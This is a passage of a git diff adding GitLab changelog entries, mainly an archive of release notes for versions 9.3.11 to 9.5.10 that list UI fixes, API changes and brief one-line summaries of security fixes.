+- Externalize strings of PGP Keys and SSH Keys page in user profile. !28653 (Antony Liu)
+- Added the `.extended-height` class to the labels-dropdown. !28659 (Michel Engelen)
+- Moved EE/CE code differences for `app/assets/javascripts/gl_dropdown.js` into CE. !28711 (Michel Engelen)
+- Update GitLab Runner Helm Chart to 0.5.1. !28720
+- Remove support for using Geo with an installation from source. !28737
+- API: change masked attribute type to Boolean. !28758
+- API: change protected attribute type to Boolean. !28766
+- Add a column header to admin/jobs page. !28837
+- Reset merge status from mergeable MRs. !28843
+- Show tooltip on truncated commit title. !28865 (Timofey Trofimov)
+- Added conditional rendering to `app/views/search/_form.html.haml` for CE/EE code base consistency. !28883 (Michel Engelen)
+- Change "Report abuse to GitLab" to more generic wording. !28884 (Marc Schwede)
+- Update GitLab Pages to v1.6.0. !29048
+- Update GitLab Runner Helm Chart to 0.5.2. !29050
+- User link styling for commits. !29150
+- Fix null source_project_id in pool_repositories. !29157
+- Add deletion protection setting column to application_settings table. !29268
+- Added code differnces from EE in file 'app/assets/javascripts/pages/projects/project.js' to CE. !29271 (Michel Engelen)
+- Update to GitLab Shell v9.3.0. !29283
+- Document when milestones and labels links are missing. !29355
+- Make margin between buttons consistent. !29378
+- Changed the 'Created' label to 'Last Updated' on the container registry table to more accurately reflect what the date represents. !29464
+- Update GitLab Pages to v1.6.1. !29559
+- Indent collapsible sections. !29804
+- Use grid and correct border radius for status badge.
+- Remove fixed height from MR diff headers.
+- Use blue for activity stream links; use monospace font for commit sha.
+- Moves snowplow to CE repo.
+- Reduce height of issue board input to align with buttons.
+- Change default color of award emoji button.
+- Group download buttons into a .btn-group.
+- Add warning that gitlab-secrets isn't included in backup.
+- Increase height of move issue dropdown.
+- Update merge request tabs so they no longer scroll.
+- Moves the table pagination shared component.
diff --git a/changelogs/archive.md b/changelogs/archive.md
index e36e859a351..b8ebf4cc0d9 100644
--- a/changelogs/archive.md
+++ b/changelogs/archive.md
@@ -1,3 +1,2255 @@
+## 9.5.10 (2017-11-08)
+
+- [SECURITY] Add SSRF protections for hostnames that will never resolve but will still connect to localhost
+- [SECURITY] Include X-Content-Type-Options (XCTO) header into API responses
+
+## 9.5.9 (2017-10-16)
+
+- [SECURITY] Move project repositories between namespaces when renaming users.
+- [SECURITY] Prevent an open redirect on project pages.
+- [SECURITY] Prevent a persistent XSS in user-provided markup.
+- [FIXED] Allow using newlines in pipeline email service recipients. !14250
+- Escape user name in filtered search bar.
+
+## 9.5.8 (2017-10-04)
+
+- [FIXED] Fixed fork button being disabled for users who can fork to a group.
+
+## 9.5.7 (2017-10-03)
+
+- Fix gitlab rake:import:repos task.
+
+## 9.5.6 (2017-09-29)
+
+- [FIXED] Fix MR ready to merge buttons/controls at mobile breakpoint. !14242
+- [FIXED] Fix errors thrown in merge request widget with external CI service/integration.
+- [FIXED] Update x/x discussions resolved checkmark icon to be green when all discussions resolved.
+- [FIXED] Fix 500 error on merged merge requests when GitLab is restored from a backup.
+
+## 9.5.5 (2017-09-18)
+
+- [SECURITY] Upgrade mail and nokogiri gems due to security issues. !13662 (Markus Koller)
+- [FIXED] Fix division by zero error in blame age mapping. !13803 (Jeff Stubler)
+- [FIXED] Fix problems sanitizing URLs with empty passwords. !14083
+- [FIXED] Fix a wrong `X-Gitlab-Event` header when testing webhooks. !14108
+- [FIXED] Fixes the 500 errors caused by a race condition in GPG's tmp directory handling. !14194 (Alexis Reigel)
+- [FIXED] Fix Pipeline Triggers to show triggered label and predefined variables (e.g. CI_PIPELINE_TRIGGERED). !14244
+- [FIXED] Fix project feature being deleted when updating project with invalid visibility level.
+- [FIXED] Fix new navigation wrapping and causing height to grow.
+- [FIXED] Fix buttons with different height in merge request widget.
+- [FIXED] Normalize styles for empty state combo button.
+- [FIXED] Fix broken svg in jobs dropdown for success status.
+- [FIXED] Improve migrations using triggers.
+- [FIXED] Disable GitLab Project Import Button if source disabled.
+- [CHANGED] Update the GPG verification semantics: A GPG signature must additionally match the committer in order to be verified. !13771 (Alexis Reigel)
+- [OTHER] Fix repository equality check and avoid fetching ref if the commit is already available. This affects merge request creation performance. !13685
+- [OTHER] Update documentation for confidential issue. !14117
+
+## 9.5.4 (2017-09-06)
+
+- [SECURITY] Upgrade mail and nokogiri gems due to security issues. !13662 (Markus Koller)
+- [SECURITY] Prevent a persistent XSS in the commit author block.
+- Fix XSS issue in go-get handling.
+- Resolve CSRF token leakage via pathname manipulation on environments page.
+- Fixes race condition in project uploads.
+- Disallow arbitrary properties in `th` and `td` `style` attributes.
+- Disallow the `name` attribute on all user-provided markup.
+
+## 9.5.3 (2017-09-03)
+
+- [SECURITY] Filter additional secrets from Rails logs.
+- [FIXED] Make username update fail if the namespace update fails. !13642
+- [FIXED] Fix failure when issue is authored by a deleted user. !13807
+- [FIXED] Reverts changes made to signin_enabled. !13956
+- [FIXED] Fix Merge when pipeline succeeds button dropdown caret icon horizontal alignment.
+- [FIXED] Fixed diff changes bar buttons from showing/hiding whilst scrolling.
+- [FIXED] Fix events error importing GitLab projects.
+- [FIXED] Fix pipeline trigger via API fails with 500 Internal Server Error in 9.5.
+- [FIXED] Fixed fly-out nav flashing in & out.
+- [FIXED] Remove closing external issues by reference error.
+- [FIXED] Re-allow appearances.description_html to be NULL.
+- [CHANGED] Update and fix resolvable note icons for easier recognition.
+- [OTHER] Eager load head pipeline projects for MRs index.
+- [OTHER] Instrument MergeRequest#fetch_ref.
+- [OTHER] Instrument MergeRequest#ensure_ref_fetched.
+
+## 9.5.2 (2017-08-28)
+
+- [FIXED] Fix signing in using LDAP when attribute mapping uses simple strings instead of arrays.
+- [FIXED] Show un-highlighted text diffs when we do not have references to the correct blobs.
+- [FIXED] Fix display of push events for removed refs.
+- [FIXED] Testing of some integrations were broken due to missing ServiceHook record.
+- [FIXED] Fire system hooks when a user is created via LDAP.
+- [FIXED] Fix new project form not resetting the template value.
+
+## 9.5.1 (2017-08-23)
+
+- [FIXED] Fix merge request pipeline status when pipeline has errors. !13664
+- [FIXED] Commit rows would occasionally render with the wrong language.
+- [FIXED] Fix caching of future broadcast messages.
+- [FIXED] Only require Sidekiq throttling library when enabled, to reduce cache misses.
+- Raise Housekeeping timeout to 24 hours. !13719
+
+## 9.5.0 (2017-08-22)
+
+- [FIXED] Fix timeouts when creating projects in groups with many members. !13508
+- [FIXED] Improve API pagination headers when no record found. !13629 (Jordan Patterson)
+- [FIXED] Fix deleting GitLab Pages files when a project is removed. !13631
+- [FIXED] Fix commit list not loading the correct page when scrolling.
+- [OTHER] Cache the number of forks of a project. !13535
+- GPG signed commits integration. !9546 (Alexis Reigel)
+- Alert the user if a Wiki page changed while they were editing it in order to prevent overwriting changes. !9707 (Hiroyuki Sato)
+- Add custom linter for inline JavaScript to haml_lint. !9742 (winniehell)
+- Add /shrug and /tableflip commands. !10068 (Alex Ives)
+- Allow wiki pages to be renamed in the UI. !10069 (wendy0402)
+- Insert user name directly without encoding. !10085 (Nathan Neulinger <nneul@neulinger.org>)
+- Avoid plucking Todo ids in TodoService. !10845
+- Handle errors while a project is being deleted asynchronously. !11088
+- Decrease ABC threshold to 56.96. !11227 (Maxim Rydkin)
+- Remove Mattermost team when deleting a group. !11362
+- Block access to failing repository storage. !11449
+- Add coordinator url to admin area runner page. !11603
+- Allow testing any events for project hooks and system hooks. !11728 (Alexander Randa (@randaalex))
+- Disallow running the pipeline if ref is protected and user cannot merge the branch or create the tag. !11910
+- Remove project_key from the Jira configuration. !12050
+- Add CSRF token verification to API. !12154 (Vitaliy @blackst0ne Klachkov)
+- Fixes needed when GitLab sign-in is not enabled. !12491 (Robin Bobbitt)
+- Lazy load images for better Frontend performance. !12503
+- Replaces dashboard/event_filters.feature spinach with rspec. !12651 (Alexander Randa (@randaalex))
+- Toggle import description with import_sources_enabled. !12691 (Brianna Kicia)
+- Bump scss-lint to 0.54.0. !12733 (Takuya Noguchi)
+- Enable SpaceAfterComma in scss-lint. !12734 (Takuya Noguchi)
+- Remove CSS for nprogress removed. !12737 (Takuya Noguchi)
+- Enable UnnecessaryParentReference in scss-lint. !12738 (Takuya Noguchi)
+- Extract "@request.env[devise.mapping] = Devise.mappings[:user]" to a test helper. !12742 (Jacopo Beschi @jacopo-beschi)
+- Enable ImportPath in scss-lint. !12749 (Takuya Noguchi)
+- Enable PropertySpelling in scss-lint. !12752 (Takuya Noguchi)
+- Add API for protected branches to allow for wildcard matching and no access restrictions. !12756 (Eric Yu)
+- refactor initializations in dropzone_input.js. !12768 (Brandon Everett)
+- Improve CSS for global nav dropdown UI. !12772 (Takuya Noguchi)
+- Remove public/ci/favicon.ico. !12803 (Takuya Noguchi)
+- Enable DeclarationOrder in scss-lint. !12805 (Takuya Noguchi)
+- Increase width of dropdown menus automatically. !12809 (Thomas Wucher)
+- Enable BangFormat in scss-lint [ci skip]. !12815 (Takuya Noguchi)
+- Added /duplicate quick action to close a duplicate issue. !12845 (Ryan Scott)
+- Make all application-settings accessible through the API. !12851
+- Remove Inactive Personal Access Tokens list from Access Tokens page. !12866
+- Replaces dashboard/dashboard.feature spinach with rspec. !12876 (Alexander Randa (@randaalex))
+- Reduce memory usage of the GitHub importer. !12886
+- Bump fog-core to 1.44.3 and fog providers' plugins to latest. !12897 (Takuya Noguchi)
+- Use only CSS to truncate commit message in blame. !12900 (Takuya Noguchi)
+- Protect manual actions against protected tag too. !12908
+- Allow to configure automatic retry of a failed CI/CD job. !12909
+- Remove help message about prioritized labels for non-members. !12912 (Takuya Noguchi)
+- Add link to doc/api/ci/lint.md. !12914 (Takuya Noguchi)
+- Add RequestCache which makes caching with RequestStore easier. !12920
+- Free up some top level words, reject top level groups named like files in the public folder. !12932
+- Extend API for Group Secret Variable. !12936
+- Hide description about protected branches to non-member. !12945 (Takuya Noguchi)
+- Support custom directory in gitlab:backup:create task. !12984 (Markus Koller)
+- Raise guessed encoding confidence threshold to 50. !12990
+- Add author_id & assignee_id param to /issues API. !13004
+- Fix today day highlight in calendar. !13048
+- Prevent LDAP login callback from being called with a GET request. !13059
+- Add top-level merge_requests API endpoint. !13060
+- Handle maximum pages artifacts size correctly. !13072
+- Enable gitaly_post_upload_pack by default. !13078
+- Add Prometheus metrics exporter to Sidekiq. !13082
+- Fix improperly skipped backups of wikis. !13096
+- Projects can be created from templates. !13108
+- Fix the /projects/:id/repository/branches endpoint to handle dots in the branch name when the project full path contains a `/`. !13115
+- Fix project logos that are not centered vertically on list pages. !13124 (Florian Lemaitre)
+- Derive project path from import URL. !13131
+- Fix deletion of deploy keys linked to other projects. !13162
+- repository archive download url now ends with selected file extension. !13178 (haseebeqx)
+- Show auto-generated avatars for Groups without avatars. !13188
+- Allow any logged in users to read_users_list even if it's restricted. !13201
+- Unlock stuck merge request and set the proper state. !13207
+- Fix timezone inconsistencies in user contribution graph. !13208
+- Fix Issue board when using Ruby 2.4. !13220
+- Don't rename namespace called system when upgrading from 9.1.x to 9.5. !13228
+- Fix encoding error for WebHook logging. !13230 (Alexander Randa (@randaalex))
+- Uniquify reserved word usernames on OAuth user creation. !13244 (Robin Bobbitt)
+- Expose target_iid in Events API. !13247 (sue445)
+- Add star for action scope, in order to delete image from registry. !13248 (jean)
+- Make Delete Merged Branches handle wildcard protected branches correctly. !13251
+- Fix an order of operations for CI connection error message in merge request widget. !13252
+- Don't send rejection mails for all auto-generated mails. !13254
+- Expose noteable_iid in Note. !13265 (sue445)
+- Fix pipeline_schedules pages when active schedule has an abnormal state. !13286
+- Move some code from services to workers in order to improve performance. !13326
+- Fix destroy of case-insensitive conflicting redirects. !13357
+- Fix the /projects/:id/repository/tags endpoint to handle dots in the tag name when the project full path contains a `/`. !13368
+- Fix the /projects/:id/repository/commits endpoint to handle dots in the ref name when the project full path contains a `/`. !13370
+- Project pending delete no longer return 500 error in admins projects view. !13389
+- Use full path of user's avatar in webhooks. !13401 (Vitaliy @blackst0ne Klachkov)
+- Make GPGME temporary directory handling thread safe. !13481 (Alexis Reigel)
+- Add support for kube_namespace in Metrics queries. !16169
+- Fix bar chart does not display label at 0 hour. !35136 (Jason Dai)
+- Use project_ref_path to create the link to a branch to fix links that 404.
+- Declare related resources into V4 API entities.
+- Add Slack and JIRA services counts to Usage Data.
+- Prevent web hook and project service background jobs from going to the dead jobs queue.
+- Display specific error message when JIRA test fails.
+- clean up merge request widget UI.
+- Associate Issues tab only with internal issues tracker.
+- Remove events column from notification settings table.
+- Clarifies and rearranges the input variables on the kubernetes integration page and adjusts the docs slightly to meet the same order.
+- Respect blockquote line breaks in markdown.
+- Update confidential issue UI - add confidential visibility and settings to sidebar.
+- Add icons to contextual sidebars.
+- Make contextual sidebar collapsible.
+- Update Pipeline's badge count in Merge Request and Commits view to match real-time content.
+- Added link to the MR widget that directs to the monitoring dashboard.
+- Use jQuery to control scroll behavior in job log for cross browser consistency.
+- move edit comment button outside of dropdown.
+- Updates vue resource and code according to breaking changes.
+- Add GitHub imported projects count to usage data.
+- Rename about to overview for group and project page.
+- Prevent disabled pagination button to be clicked.
+- Remove coffee-rails gem. (Takuya Noguchi)
+- Remove net-ssh gem. (Takuya Noguchi)
+- Bump rubocop to 0.49.1 and rubocop-rspec to 1.15.1. (Takuya Noguchi)
+- improve file upload/replace experience.
+- allow closing Cycle Analytics intro box in firefox.
+- Fix label creation from new list for subgroup projects.
+- fix transient js error in rspec tests.
+- fix jump to next discussion button.
+- Fix translations for Star/Unstar in JS file.
+- Improve mobile sidebar.
+- Rename Pipelines tab to CI / CD in new navigation.
+- Fix display of new diff comments after changing b between diff views.
+- Store & use ConvDev percentages returned by the Version app.
+- Fixes new issue button for failed job returning 404.
+- Align OR separator to center in new project page.
+- Add filtered search to group issue dashboard.
+- Cache Appearance instances in Redis.
+- Fixed breadcrumbs title aggressively collapsing.
+- Better caching and indexing of broadcast messages.
+- Moved diff changed files into a dropdown.
+- Improve performance of large (initial) push into default branch.
+- Improve performance of checking for projects on the projects dashboard.
+- Eager load project creators for project dashboards.
+- Modify if condition to be more readable.
+- Fix links to group milestones from issue and merge request sidebar.
+- Remove hidden symlinks from project import files.
+- Fixed sign-in restrictions buttons not toggling active state.
+- Fix replying to commit comments on merge requests created from forks.
+- Support Markdown references, autocomplete, and quick actions for group milestones.
+- Cache recent projects for group-level new resource creation.
+- Fix API responses when dealing with txt files.
+- Fix project milestones import when projects belongs to a group.
+- Fix Mattermost integration.
+- Memoize the number of personal projects a user has to reduce COUNT queries.
+- Merge issuable "reopened" state into "opened".
+- Migrate events into a new format to reduce the storage necessary and improve performance.
+- MR branch link now links to tree instead of commits.
+- Use Prev/Next pagination for exploring projects.
+- Pass before_script and script as-is preserving arrays.
+- Change project FK migration to skip existing FKs.
+- Remove redundant query when retrieving the most recent push of a user.
+- Re-organise "issues" indexes for faster ordering.
+- Disallow Git URLs that include a username or hostname beginning with a non-alphanumeric character.
+- Fix search box losing focus when typing.
+- Add structured logging for Rails processes.
+- Skip oAuth authorization for trusted applications.
+- Use a specialized class for querying events to improve performance.
+- Update build badges to be pipeline badges and display passing instead of success.
+
+## 9.4.7 (2017-10-16)
+
+- [SECURITY] Upgrade mail and nokogiri gems due to security issues. !13662 (Markus Koller)
+- [SECURITY] Move project repositories between namespaces when renaming users.
+- [SECURITY] Prevent an open redirect on project pages.
+- [SECURITY] Prevent a persistent XSS in user-provided markup.
+- [FIXED] Allow using newlines in pipeline email service recipients. !14250
+- Escape user name in filtered search bar.
+
+## 9.4.6 (2017-09-06)
+
+- [SECURITY] Upgrade mail and nokogiri gems due to security issues. !13662 (Markus Koller)
+- [SECURITY] Prevent a persistent XSS in the commit author block.
+- Fix XSS issue in go-get handling.
+- Remove hidden symlinks from project import files.
+- Fixes race condition in project uploads.
+- Disallow Git URLs that include a username or hostname beginning with a non-alphanumeric character.
+- Disallow arbitrary properties in `th` and `td` `style` attributes.
+- Resolve CSRF token leakage via pathname manipulation on environments page.
+- Disallow the `name` attribute on all user-provided markup.
+
+## 9.4.5 (2017-08-14)
+
+- Fix deletion of deploy keys linked to other projects. !13162
+- Allow any logged in users to read_users_list even if it's restricted. !13201
+- Make Delete Merged Branches handle wildcard protected branches correctly. !13251
+- Fix an order of operations for CI connection error message in merge request widget. !13252
+- Fix pipeline_schedules pages when active schedule has an abnormal state. !13286
+- Add missing validation error for username change with container registry tags. !13356
+- Fix destroy of case-insensitive conflicting redirects. !13357
+- Project pending delete no longer return 500 error in admins projects view. !13389
+- Fix search box losing focus when typing.
+- Use jQuery to control scroll behavior in job log for cross browser consistency.
+- Use project_ref_path to create the link to a branch to fix links that 404.
+- improve file upload/replace experience.
+- fix jump to next discussion button.
+- Fixes new issue button for failed job returning 404.
+- Fix links to group milestones from issue and merge request sidebar.
+- Fixed sign-in restrictions buttons not toggling active state.
+- Fix Mattermost integration.
+- Change project FK migration to skip existing FKs.
+
+## 9.4.4 (2017-08-09)
+
+- Remove hidden symlinks from project import files.
+- Disallow Git URLs that include a username or hostname beginning with a non-alphanumeric character.
+
+## 9.4.3 (2017-07-31)
+
+- Fix Prometheus client PID reuse bug. !13130
+- Improve deploy environment chatops slash command. !13150
+- Fix asynchronous javascript paths when GitLab is installed under a relative URL. !13165
+- Fix LDAP authentication to Git repository or container registry.
+- Fixed new navigation breadcrumb title on help pages.
+- Ensure filesystem metrics test files are deleted.
+- Properly affixes nav bar in job view in microsoft edge.
+
+## 9.4.2 (2017-07-28)
+
+- Fix job merge request link to a forked source project. !12965
+- Improve redirect route query performance. !13062
+- Allow admin to read_users_list even if it's restricted. !13066
+- Fixes 500 error caused by pending delete projects in admin dashboard. !13067
+- Add instrumentation to MarkupHelper#link_to_gfm. !13069
+- Pending delete projects should not show in deploy keys. !13088
+- Fix sizing of custom header logo in new navigation.
+- Fix crash on /help/ui.
+- Fix creating merge request diffs when diff contains bytes that are invalid in UTF-8.
+- fix vertical alignment of New Project button.
+- Add LDAP SSL certificate verification option.
+- Fix vertical alignment in firefox and safari for pipeline mini graph.
+
+## 9.4.1 (2017-07-25)
+
+- Fix pipeline_schedules pages throwing error 500 (when ref is empty). !12983
+- Fix editing project with container images present. !13028
+- Fix some invalid entries in PO files. !13032
+- Fix cross site request protection when logging in as a regular user when LDAP is enabled. !13049
+- Fix bug causing metrics files to be truncated. !35420
+- Fix anonymous access to public projects in groups with pending invites.
+- Fixed issue boards sidebar close icon size.
+- Fixed duplicate new milestone buttons when new navigation is turned on.
+- Fix margins in the mini graph for pipeline in commits box.
+
+## 9.4.0 (2017-07-22)
+
+- Add blame view age mapping. !7198 (Jeff Stubler)
+- Add support for image and services configuration in .gitlab-ci.yml. !8578
+- Fix an email parsing bug where brackets would be inserted in emails from some Outlook clients. !9045 (jneen)
+- Use fa-chevron-down on dropdown arrows for consistency. !9659 (TM Lee)
+- Update the devise mail templates to match the design of the pipeline emails. !10483 (Alexis Reigel)
+- Handle renamed submodules in repository browser. !10798 (David Turner)
+- Display all current broadcast messages, not just the last one. !11113 (rickettm)
+- Fix CI/CD status in case there are only allowed to failed jobs in the pipeline. !11166
+- Omit trailing / leading hyphens in CI_COMMIT_REF_SLUG variable to make it usable as a hostname. !11218 (Stefan Hanreich)
+- Moved "Members in a project" menu entry and path locations. !11560
+- Additional Prometheus metrics support. !11712
+- Rename all reserved paths that could have been created. !11713
+- Move uploads from `uploads/system` to `uploads/-/system` to free up `system` as a group name. !11713
+- Fix offline runner detection. !11751 (Alessio Caiazza)
+- Use authorize_update_pipeline_schedule in PipelineSchedulesController. !11846
+- Rollback project repo move if there is an error in Projects::TransferService. !11877
+- Help landing page customizations. !11878 (Robin Bobbitt)
+- Fixes "sign in / Register" active state underline misalignment. !11890 (Frank Sierra)
+- Honor the "Remember me" parameter for OAuth-based login. !11963
+- Instruct user to use personal access token for Git over HTTP. !11986 (Robin Bobbitt)
+- Accept image for avatar in project API. !11988 (Ivan Chernov)
+- Supplement Simplified Chinese translation of Project Page & Repository Page. !11994 (Huang Tao)
+- Supplement Traditional Chinese in Hong Kong translation of Project Page & Repository Page. !11995 (Huang Tao)
+- Make the revision on the `/help` page clickable. !12016
+- Display issue state in issue links section of merge request widget. !12021
+- Enable support for webpack code-splitting by dynamically setting publicPath at runtime. !12032
+- Replace PhantomJS with headless Chrome for karma test suite. !12036
+- Prevent description change notes when toggling tasks. !12057 (Jared Deckard <jared.deckard@gmail.com>)
+- Update QA Dockerfile to lock Chrome browser version. !12071
+- Fix FIDO U2F for Opera browser. !12082 (Jakub Kramarz and Jonas Kalderstam)
+- Supplement Bulgarian translation of Project Page & Repository Page. !12083 (Lyubomir Vasilev)
+- Removes deleted_at and pending_delete occurrences in Project related queries. !12091
+- Provide hint to create a personal access token for Git over HTTP. !12105 (Robin Bobbitt)
+- Display own user id in account settings page. !12141 (Riccardo Padovani)
+- Accept image for avatar in user API. !12143 (Ivan Chernov)
+- Disable fork button on project limit. !12145 (Ivan Chernov)
+- Added "created_after" and "created_before" params to issuables. !12151 (Kyle Bishop @kybishop)
+- Supplement Portuguese Brazil translation of Project Page & Repository Page. !12156 (Huang Tao)
+- Add review apps to usage metrics. !12185
+- Adding French translations. !12200 (Erwan "Dremor" Georget)
+- Ensures default user limits when external user is unchecked. !12218
+- Provide KUBECONFIG from KubernetesService for runners. !12223
+- Filter archived project in API v3 only if param present. !12245 (Ivan Chernov)
+- Add explicit message when no runners on admin. !12266 (Takuya Noguchi)
+- Split pipelines as internal and external in the usage data. !12277
+- Fix API Scoping. !12300
+- Remove registry image delete button if user cant delete it. !12317 (Ivan Chernov)
+- Allow the feature flags to be enabled/disabled with more granularity. !12357
+- Allow to enable the performance bar per user or Feature group. !12362
+- Rename duplicated variables with the same key for projects. Add environment_scope column to variables and add unique constraint to make sure that no variables could be created with the same key within a project. !12363
+- Add variables to pipelines schedules. !12372
+- Add User#full_private_access? to check if user has access to all private groups & projects. !12373
+- Change milestone endpoint for groups. !12374 (Takuya Noguchi)
+- Improve performance of the pipeline charts page. !12378
+- Add option to run Gitaly on a remote server. !12381
+- #20628 Enable implicit grant in GitLab as OAuth Provider. !12384 (Mateusz Pytel)
+- Replace 'snippets/snippets.feature' spinach with rspec. !12385 (Alexander Randa @randaalex)
+- Add Simplified Chinese translations of Commits Page. !12405 (Huang Tao)
+- Add Traditional Chinese in HongKong translations of Commits Page. !12406 (Huang Tao)
+- Add Traditional Chinese in Taiwan translations of Commits Page. !12407 (Huang Tao)
+- Add Portuguese Brazil translations of Commits Page. !12408 (Huang Tao)
+- Add French translations of Commits Page. !12409 (Huang Tao)
+- Add Esperanto translations of Commits Page. !12410 (Huang Tao)
+- Add Bulgarian translations of Commits Page. !12411 (Huang Tao)
+- Remove bin/ci/upgrade.rb as not working all. !12414 (Takuya Noguchi)
+- Store merge request ref_fetched status in the database. !12424
+- Replace 'dashboard/merge_requests' spinach with rspec. !12440 (Alexander Randa (@randaalex))
+- Add Esperanto translations for Cycle Analytics, Project, and Repository pages. !12442 (Huang Tao)
+- Allow unauthenticated access to the /api/v4/users API. !12445
+- Drop GFM support for the title of Milestone/MergeRequest in template. !12451 (Takuya Noguchi)
+- Replace 'dashboard/todos' spinach with rspec. !12453 (Alexander Randa (@randaalex))
+- Cache open issue and merge request counts for project tabs to speed up project pages. !12457
+- Introduce cache policies for CI jobs. !12483
+- Improve support for external issue references. !12485
+- Fix errors caused by attempts to report already blocked or deleted users. !12502 (Horacio Bertorello)
+- Allow customize CI config path. !12509 (Keith Pope)
+- Supplement Traditional Chinese in Taiwan translation of Project Page & Repository Page. !12514 (Huang Tao)
+- Closes any open Autocomplete of the markdown editor when the form is closed. !12521
+- Inserts exact matches of name, username and email to the top of the search list. !12525
+- Use smaller min-width for dropdown-menu-nav only on mobile. !12528 (Takuya Noguchi)
+- Hide archived project labels from group issue tracker. !12547 (Horacio Bertorello)
+- Replace 'dashboard/new-project.feature' spinach with rspec. !12550 (Alexander Randa (@randaalex))
+- Remove group modal like remove project modal (requires typing + confirmation). !12569 (Diego Souza)
+- Add Italian translation of Cycle Analytics Page & Project Page & Repository Page. !12578 (Huang Tao)
+- Add Group secret variables. !12582
+- Update jobs page output to have a scrollable page. !12587
+- Add user projects API. !12596 (Ivan Chernov)
+- Allow creation of files and directories with spaces through Web UI. !12608
+- Improve members view on mobile. !12619
+- Fixed the chart legend not being set correctly. !12628
+- Add Italian translations of Commits Page. !12645 (Huang Tao)
+- Allow admins to disable all restricted visibility levels. !12649
+- Allow admins to retrieve user agent details for an issue or snippet. !12655
+- Update welcome page UX for new users. !12662
+- N+1 problems on milestone page. !12670 (Takuya Noguchi)
+- Upgrade GitLab Workhorse to v2.3.0. !12676
+- Remove option to disable Gitaly. !12677
+- Improve the performance of the project list API. !12679
+- Add creation time filters to user search API for admins. !12682
+- Add Japanese translations for Cycle Analytics & Project pages & Repository pages & Commits pages & Pipeline Charts. !12693 (Huang Tao)
+- Undo adding the /reassign quick action. !12701
+- Fix dashboard labels dropdown. !12708
+- Username and password are no longer stripped from import url on mirror update. !12725
+- Add Russian translations for Cycle Analytics & Project pages & Repository pages & Commits pages & Pipeline Charts. !12743 (Huang Tao)
+- Add Ukrainian translations for Cycle Analytics & Project pages & Repository pages & Commits pages & Pipeline Charts. !12744 (Huang Tao)
+- Prevent bad data being added to application settings when Redis is unavailable. !12750
+- Do not show pipeline schedule button for non-member. !12757 (Takuya Noguchi)
+- Return `is_admin` attribute in the GET /user endpoint for admins. !12811
+- Recover from renaming project that has container images. !12840
+- Exact matches of username and email are now on top of the user search. !12868
+- Use Ghost user for last_edited_by and merge_user when original user is deleted. !12933
+- Fix docker tag reference routing constraints. !12961
+- Optimize creation of commit API by using Repository#commit instead of Repository#commits.
+- Speed up used languages calculation on charts page.
+- Make loading new merge requests (those created after the 9.4 upgrade) faster.
+- Ensure participants for issues, merge requests, etc. are calculated correctly when sending notifications.
+- Handle nameless legacy jobs.
+- Bump Faraday and dependent OAuth2 gem version to support no_proxy variable.
+- Renders 404 if given project is not readable by the user on Todos dashboard.
+- Render CI statuses with warnings in orange.
+- Document the Delete Merged Branches functionality.
+- Add wells to admin dashboard overview to fix spacing problems.
+- Removes hover style for nodes that are either links or buttons in the pipeline graph.
+- more visual contrast in pagination widget.
+- Deprecate Healthcheck Access Token in favor of IP whitelist.
+- Drop GFM support for issuable title on milestone for consistency and performance. (Takuya Noguchi)
+- fix left & right padding on sidebar.
+- Cleanup minor UX issues in the performance dashboard.
+- Remove two columned layout from project member settings.
+- Make font size of contextual sub menu items 14px.
+- Fix vertical space in job details sidebar.
+- Fix alignment of controls in mr issuable list.
+- Add wip message to new navigation preference section.
+- Add group members counting and plan related data on namespaces API.
+- Fix spacing on runner buttons.
+- Remove uploads/appearance symlink. A leftover from a previous migration.
+- Change order of monospace fonts to fix bug on some linux distros.
+- Limit commit & snippets comments width.
+- Fixed dashboard milestone tabs not loading.
+- Detect if file that appears to be text in the first 1024 bytes is actually binary afer loading all data.
+- Fix inconsistent display of the "Browse files" button in the commit list.
+- Implement diff viewers.
+- Fix 'New merge request' button for users who don't have push access to canonical project.
+- Fix issues with non-UTF8 filenames by always fixing the encoding of tree and blob paths.
+- Show group name instead of path on group page.
+- Don't check if MailRoom is running on Omnibus.
+- Limit OpenGraph image size to 64x64.
+- Don't show auxiliary blob viewer for README when there is no wiki.
+- Strip trailing whitespace in relative submodule URL.
+- Update /target_branch slash command description to be more consistent.
+- Remove unnecessary top padding on group MR index.
+- Added printing_merge_requst_link_enabled to the API. (David Turner <dturner@twosigma.com>)
+- Re-enable realtime for environments table.
+- Create responsive mobile view for pipelines table.
+- Adds realtime feature to job show view header and sidebar info. Updates UX.
+- Use color inputs for broadcast messages.
+- Center dropdown for mini graph.
+- Users can subscribe to group labels on the group labels page.
+- Add issuable-list class to shared mr/issue lists to fix new responsive layout design.
+- Rename "Slash commands" to "Quick actions" and deprecate "chat commands" in favor of "slash commands".
+- Don't mark empty MRs as merged on push to the target branch.
+- Improve issue rendering performance with lots of notes from other users.
+- Fixed overflow on mobile screens for the slash commands.
+- Fix an infinite loop when handling user-supplied regular expressions.
+- Fixed sidebar not collapsing on merge requests in mobile screens.
+- Speed up project removals by adding foreign keys with cascading deletes to various tables.
+- Fix mobile view of files view buttons.
+- Fixed dropdown filter input not focusing after transition.
+- Fixed GFM references not being included when updating issues inline.
+- Remove issues/merge requests drag n drop and sorting from milestone view.
+- Add native group milestones.
+- Fix API bug accepting wrong parameter to create merge request.
+- Clean up UI of issuable lists and make more responsive.
+- Improve the overall UX for the new monitoring dashboard.
+- Fixed the y_label not setting correctly for each graph on the monitoring dashboard.
+- Changed utilities imports from ~ to relative paths.
+- Remove unused space in sidebar todo toggle when not signed in.
+- Limit the width of the projects README text.
+- Add a simple mode to merge request API.
+- Make Project#ensure_repository force create a repo.
+- Use uploads/system directory for personal snippets.
+- Defer project destroys within a namespace in Groups::DestroyService#async_execute.
+- Log rescued exceptions to Sentry.
+- Remove remaining N+1 queries in merge requests API with emojis and labels.
+
+## 9.3.11 (2017-09-06)
+
+- [SECURITY] Upgrade mail and nokogiri gems due to security issues. !13662 (Markus Koller)
+- [SECURITY] Prevent a persistent XSS in the commit author block.
+- Improve support for external issue references. !12485
+- Use uploads/system directory for personal snippets.
+- Remove uploads/appearance symlink. A leftover from a previous migration.
+- Fix XSS issue in go-get handling.
+- Remove hidden symlinks from project import files.
+- Fix an infinite loop when handling user-supplied regular expressions.
+- Fixes race condition in project uploads.
+- Fixes race condition in project uploads.
+- Disallow Git URLs that include a username or hostname beginning with a non-alphanumeric character.
+- Disallow arbitrary properties in `th` and `td` `style` attributes.
+- Resolve CSRF token leakage via pathname manipulation on environments page.
+- Disallow the `name` attribute on all user-provided markup.
+- Renders 404 if given project is not readable by the user on Todos dashboard.
+
+## 9.3.10 (2017-08-09)
+
